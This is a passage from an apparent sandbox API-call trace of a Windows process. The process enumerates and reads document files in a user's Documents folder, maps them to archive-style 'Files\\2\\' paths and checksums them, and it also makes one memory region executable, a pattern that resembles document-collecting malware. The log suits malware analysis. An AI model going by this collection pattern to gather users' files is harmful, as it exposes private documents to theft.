pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.901] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4453ac50, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0x4ae33620, ftLastAccessTime.dwHighDateTime=0x1d5e177, ftLastWriteTime.dwLowDateTime=0x4ae33620, ftLastWriteTime.dwHighDateTime=0x1d5e177, nFileSizeHigh=0x0, nFileSizeLow=0xf6e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ijOAKD8twv-N.odp", cAlternateFileName="IJOAKD~1.ODP")) returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp") returned 1 [0165.902] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cbf3760, ftCreationTime.dwHighDateTime=0x1d5e6a7, ftLastAccessTime.dwLowDateTime=0x234f8fa0, ftLastAccessTime.dwHighDateTime=0x1d5d952, ftLastWriteTime.dwLowDateTime=0x234f8fa0, ftLastWriteTime.dwHighDateTime=0x1d5d952, nFileSizeHigh=0x0, nFileSizeLow=0x311b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jNZkgQds.doc", cAlternateFileName="")) returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ijOAKD8twv-N.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.902] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.903] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\tXrvgvZhuK.docx", psz="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x28 | out: pbstr=0x1e7dfa00*="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x28 | out: pbstr=0x1e7df978*="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.904] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x28 | out: pbstr=0x1e7dfa00*="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x27 | out: pbstr=0x1e7df974*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x27 | out: pbstr=0x1e7dfa00*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x27 | out: pbstr=0x1e7df970*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x27 | out: pbstr=0x1e7dfa00*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.905] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.906] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.906] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", len=0x3b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.907] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc" (normalized: "c:\\users\\aetadzjz\\documents\\_lw_ioi_qc44f0vdng\\jnzkgqds.doc")) returned 0x20 [0165.907] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc" (normalized: "c:\\users\\aetadzjz\\documents\\_lw_ioi_qc44f0vdng\\jnzkgqds.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.907] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x311b [0165.907] ReadFile (in: hFile=0x310, lpBuffer=0x1fcfaf44, nNumberOfBytesToRead=0x311b, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fcfaf44*, lpNumberOfBytesRead=0x1e7df944*=0x311b, lpOverlapped=0x0) returned 1 [0165.908] CloseHandle (hObject=0x310) returned 1 [0165.908] CharToOemBuffA (in: lpszSrc="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", lpszDst=0x1fd3c100, cchDstLength=0x27 | out: lpszDst="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc") returned 1 [0165.908] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0165.909] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd12c1c, Length=0x311b) returned 0x2d6684b0 [0165.909] VirtualAlloc (lpAddress=0x1fd54000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd54000 [0165.910] VirtualFree (lpAddress=0x1fd14000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.910] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.910] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.911] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43546510, ftCreationTime.dwHighDateTime=0x1d5d9b5, ftLastAccessTime.dwLowDateTime=0xc2a536c0, ftLastAccessTime.dwHighDateTime=0x1d5e458, ftLastWriteTime.dwLowDateTime=0xc2a536c0, ftLastWriteTime.dwHighDateTime=0x1d5e458, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j_vbx.csv", cAlternateFileName="")) returned 1 [0165.911] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.911] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.911] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.911] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.911] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.912] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.912] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv") returned 1 [0165.912] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="j_vbx.csv", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="j_vbx.csvLw_Ioi_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.912] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="j_vbx.csv", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="j_vbx.csvLw_Ioi_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.912] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="j_vbx.csv", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="j_vbx.csvLw_Ioi_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.912] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0d56200, ftCreationTime.dwHighDateTime=0x1d5e097, ftLastAccessTime.dwLowDateTime=0xb36366c0, ftLastAccessTime.dwHighDateTime=0x1d5df88, ftLastWriteTime.dwLowDateTime=0xb36366c0, ftLastWriteTime.dwHighDateTime=0x1d5df88, nFileSizeHigh=0x0, nFileSizeLow=0xee9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qBB62q6apMwF6YbxEq75.pps", cAlternateFileName="QBB62Q~1.PPS")) returned 1 [0165.912] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\j_vbx.csv", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.912] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.912] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", len=0x47 | out: 